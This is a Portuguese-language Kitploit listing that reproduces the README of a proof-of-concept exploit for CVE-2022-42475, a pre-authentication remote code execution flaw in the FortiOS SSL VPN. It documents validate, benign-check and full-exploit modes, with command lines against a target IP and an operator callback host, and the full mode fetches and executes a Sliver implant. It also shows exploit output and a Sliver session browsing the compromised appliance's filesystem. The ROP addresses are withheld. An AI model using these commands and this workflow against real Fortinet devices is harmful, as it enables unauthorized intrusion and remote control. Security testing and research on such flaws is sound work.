Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-42475-POC — Exploit para CVE-2022-42475, um RCE pré-autenticação no FortiOS SSL VPN. Suporta validação, verificação benigna e exploração completa com shellcode de conexão reversa e stager binário criptografado para acesso remoto. | Kitploit
Ferramentas/GitHubGitHub/arthurhendrich/cve-2022-42475-poc
Análise de VulnerabilidadesExploraçãoShellcodeSegurança WebTestes de PenetraçãoRed TeamingDesenvolvimento de Payloads
GitHubarthurhendrich/cve-2022-42475-poc

CVE-2022-42475-POC

Exploit para CVE-2022-42475, um RCE pré-autenticação no FortiOS SSL VPN. Suporta validação, verificação benigna e exploração completa com shellcode de conexão reversa e stager binário criptografado para acesso remoto.

Ver Repositório
2há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-42475

Antecedentes

Este é o exploit para o post do blog aqui: https://bishopfox.com/blog/exploit-cve-2022-42475

Versão Redigida

Esta versão do exploit não funcionará sem que você, o hacker, forneça os endereços de memória necessários para gadgets ROP, etc. O trabalho para determinar esses dados é confidencial e proprietário da Bishop Fox e eu não (posso) publicá-lo junto com este exploit. Confio que você entende!

Modos de operação

  • Apenas validar, sem exploit. Determina se é vulnerável. Sem payload, sem shellcode.
  • Exploit, mas apenas verificar. Executa shellcode benigno de 'ping' de conexão reversa para verificar se o alvo é explorável.
  • Exploit com estagiador binário de conexão reversa. O shellcode conecta de volta ao exploit, baixa um arquivo binário criptografado fornecido pelo operador (normalmente https://gitub.com/BishopFox/Sliver), descriptografa o binário e chama execve(binary_file).

Nota: Atualmente, o modo 'apenas validar' funciona em todas as versões conhecidas do FortiOS. No entanto, os exploits funcionam apenas contra FortiOS 6.0.4 em hardware 100D. Não trabalho mais na BF e, portanto, não posso publicar o exploit expandido que suporta algo como 18 mil alvos.

Requisitos

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Apenas validar

Isso não tentará explorar o bug, mas sim acioná-lo como uma falha (o daemon SSL VPN remoto reinicia automática e imediatamente). A falha é detectada heuristicamente e relatada ao operador.

Execute-o usando a flag de validação -v:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mas validar (recurso disponível apenas para FortiOS 6.0.4 em appliances 100D no momento)

Isso acionará o bug, implantará uma cadeia ROP e saltará para o shellcode. O shellcode é benigno e funciona da seguinte forma:

  • O exploit se conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • O shellcode conecta de volta ao IP:porta do operador
  • O shellcode envia um único byte "hello" para o exploit: 0xbf
  • O exploit entrega um pequeno payload de teste criptografado ao shellcode (a chave AES é aleatória a cada execução)
  • O shellcode descriptografa o payload e o salva em /tmp/x no appliance FortiGate
  • O shellcode envia outro único byte 0xbf para o exploit se a descriptografia do payload foi bem-sucedida
  • O exploit lê o byte e confirma a execução de código.

Flags:

root@kitploit:~
-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-c           modo apenas conexão reversa
-H e -P      IP:porta do operador (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Um exemplo onde selecionamos a versão do software 6.0.4 e o modelo de appliance 100D:

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Se você omitir o -m para escolher um modelo de hardware, o exploit tentará por força bruta todos os alvos de hardware para a versão de software especificada.

Guerra termonuclear global

  • O operador especifica a localização de um binário de implante Sliver (baseado em Linux)
  • O exploit se conecta ao alvo e aciona a vulnerabilidade para executar o shellcode
  • O shellcode conecta de volta ao IP:porta do operador
  • O shellcode envia um único byte "hello" para o exploit: 0xbf
  • O exploit criptografa o binário Sliver e o envia para o shellcode
  • O shellcode descriptografa o binário e o salva em /tmp/x
  • O shellcode envia um byte "sucesso" 0xbf para o exploit
  • O exploit lê o byte e confirma a execução de código
  • O shellcode chama execve("/tmp/x")
  • ???
  • Lucro!

Flags:

root@kitploit:~
-t           host/IP do alvo
-p           porta do alvo
-e           modo exploit
-f nome_do_arquivo  /caminho/para/binário/para/execve/no/alvo
-H e -P      IP:porta do operador para conexão reversa (obrigatório)
-s           versão do software FortiOS (obrigatório)
-m           modelo de hardware executando FortiOS
-d           ativar depuração

Sliver:

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit:

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

E de volta ao Sliver:

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Note que o Sliver retorna <err> porque o FortiOS é meio que mais ou menos Linux, e nem sempre funciona da maneira que você esperaria. Isso é um problema do FortiOS, não do Sliver.

Mais versões em breve

Não trabalho mais na Bishop Fox, então você precisará seguir o github da BF para atualizações sobre isso.

Baixar ferramenta